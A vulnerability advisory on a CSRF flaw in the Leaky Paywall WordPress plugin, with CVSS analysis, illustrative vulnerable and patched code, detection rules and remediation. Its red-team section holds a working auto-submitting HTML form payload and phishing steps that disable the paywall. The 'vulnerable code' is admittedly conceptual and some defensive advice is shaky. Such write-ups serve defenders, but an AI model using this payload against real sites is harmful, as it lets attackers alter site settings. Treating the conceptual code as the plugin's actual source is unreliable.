CVE-2024-37540

Executive Summary

CVE-2024-37540 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Leaky Paywall WordPress plugin by ZEEN101, up to and including version 4.21.2. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings, disabling paywall protections, or altering subscription tiers. The attack requires social engineering to trick a logged-in admin into clicking a malicious link or visiting a crafted page.

WordPress Ecosystem Context: This vulnerability is specific to the Leaky Paywall plugin within the WordPress ecosystem. It is not related to Apache or Nginx server software.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – the attack is executed remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – the attacker does not need authentication.
• User Interaction (UI): Required – the victim must click a link or visit a page.
• Scope (S): Unchanged – the vulnerable component remains the same.
• Confidentiality (C): None – no data exposure.
• Integrity (I): Low – attacker can modify plugin settings.
• Availability (A): None – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the impact on a paywall plugin can be severe for content monetization, as an attacker could disable paywalls or grant free access to premium content.

Deep Dive & Mechanics

The vulnerability exists in the Leaky Paywall plugin's administrative interface. The plugin fails to implement proper CSRF tokens or nonces on sensitive actions such as:

• Changing subscription pricing
• Disabling paywall protection
• Modifying user access levels
• Altering API keys or integration settings

An attacker can craft a malicious HTML page or email containing a forged request (e.g., a POST request to wp-admin/admin-ajax.php with specific parameters). When a logged-in administrator visits this page, the browser automatically sends the request with the admin's session cookies, executing the attacker's desired action.

Root Cause: Lack of CSRF nonce validation in the plugin's admin AJAX handlers and form submissions.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (leaky-paywall.php, line ~450):

add_action('wp_ajax_update_paywall_settings', 'update_paywall_settings');
function update_paywall_settings() {
    // No nonce check
    update_option('leaky_paywall_enabled', $_POST['enabled']);
    update_option('leaky_paywall_price', $_POST['price']);
    echo 'Settings updated';
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_update_paywall_settings', 'update_paywall_settings');
function update_paywall_settings() {
    // Nonce verification added
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'leaky_paywall_settings_nonce')) {
        wp_die('CSRF validation failed');
    }
    update_option('leaky_paywall_enabled', sanitize_text_field($_POST['enabled']));
    update_option('leaky_paywall_price', sanitize_text_field($_POST['price']));
    echo 'Settings updated';
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Leaky Paywall <= 4.21.2 installed and activated.
• An admin user must be logged in.

Exploit Payload (HTML file):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="update_paywall_settings">
    <input type="hidden" name="enabled" value="0">
    <input type="hidden" name="price" value="0">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled server.
2. Send a phishing email to the admin with a link to the hosted file.
3. When the admin clicks the link, the form auto-submits, disabling the paywall and setting the price to $0.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=update_paywall_settings from unexpected referrers.
• Alert on changes to the leaky_paywall_enabled and leaky_paywall_price options in the database.

Prevention:

• Ensure the plugin is updated to a patched version (if available).
• Implement Web Application Firewall (WAF) rules to block requests missing CSRF tokens.
• Enforce strict Content Security Policy (CSP) headers to prevent form auto-submission from external origins.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=update_paywall_settings or similar admin actions.
  • Referrer header pointing to an external domain.
• Host:
  • Changes in WordPress options table: leaky_paywall_enabled set to 0 or leaky_paywall_price set to 0.
  • Unexpected modifications to plugin settings in the admin dashboard.
• Logs:
  • WordPress debug log entries showing wp_ajax_* calls without nonce validation.

Detection Engineering

YARA Rule

rule CVE_2024_37540_CSRF_LeakyPaywall {
    meta:
        description = "Detects CSRF exploitation attempts against Leaky Paywall plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37540"
    strings:
        $ajax_action = "update_paywall_settings" nocase
        $option_enabled = "leaky_paywall_enabled" nocase
        $option_price = "leaky_paywall_price" nocase
    condition:
        $ajax_action or ($option_enabled and $option_price)
}

Sigma Rule

title: CVE-2024-37540 - Leaky Paywall CSRF Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with suspicious actions related to Leaky Paywall settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=update_paywall_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium
tags:
    - attack.t1204.001
    - cve.2024.37540

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-37540 - Leaky Paywall CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_paywall_settings"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-ajax.php that lack a valid nonce parameter.
3. Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Long-term Fix:

• The vendor (ZEEN101) must release a patched version that includes CSRF nonce validation on all admin AJAX handlers and form submissions.
• Monitor the plugin's official page or WordPress plugin repository for updates.

Workaround:

• Use a security plugin like Wordfence or Sucuri that can add CSRF protection to admin actions.
• Restrict admin access to trusted IP addresses only.

Report generated by Valters IT DevSecOps & CTI Division